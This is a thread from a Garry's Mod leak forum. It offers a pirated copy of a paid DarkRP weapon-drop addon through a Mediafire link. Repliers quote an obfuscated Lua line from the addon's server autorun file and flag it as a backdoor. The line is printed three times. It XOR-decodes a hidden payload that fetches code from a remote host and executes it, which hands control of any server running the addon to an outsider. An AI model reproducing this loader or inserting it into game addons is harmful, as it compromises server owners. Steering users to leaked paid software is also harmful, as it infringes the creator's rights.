Garry's Mod Leaks
Weapon Drops [LEAK]
Submitted by Deleted_326403, 03-07-2021, 11:43 PM, Thread ID: 211386
Thread Closed
This addon drops the players current weapon, if they have one. If you are getting attacked by somebody, and you kill them, their weapon will drop, for you to then pick up.
Features
? Displays weapon name.
? Saves and displays ammo.
? Plenty of configuration options.
? Whitelist for which weapons that can drop.
? Blacklist of teams that will not drop weapons.
Installation
This addon supports DarkRP 2.7.0+
Extract "ch_weapon_drops" to addons!
Download :
https://www.mediafire.com/file/qeesa7qic...s.zip/file
https://www.gmodstore.com/market/view/300
Features
? Displays weapon name.
? Saves and displays ammo.
? Plenty of configuration options.
? Whitelist for which weapons that can drop.
? Blacklist of teams that will not drop weapons.
Installation
This addon supports DarkRP 2.7.0+
Extract "ch_weapon_drops" to addons!
Download :
https://www.mediafire.com/file/qeesa7qic...s.zip/file
https://www.gmodstore.com/market/view/300
RE: Weapon Drops [LEAK]
04-07-2021, 06:19 PM
#2 Backdoor autorun/server/ch_wepdrop_server.lua 49
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,58,37,8,55,7,54,21,37,34,84,58,45,14,51,48,35,40,80,4,12,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,58,37,8,55,7,54,21,37,34,84,58,45,14,51,48,35,40,80,4,12,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")
RE: Weapon Drops [LEAK]
04-07-2021, 06:19 PMMegVas Wrote: Backdoor autorun/server/ch_wepdrop_server.lua 49
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,58,37,8,55,7,54,21,37,34,84,58,45,14,51,48,35,40,80,4,12,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")
OP, explain this or its a backdoor please.
04-07-2021, 06:19 PMMegVas Wrote: Backdoor autorun/server/ch_wepdrop_server.lua 49
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,58,37,8,55,7,54,21,37,34,84,58,45,14,51,48,35,40,80,4,12,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")
OP, explain this or its a backdoor please.
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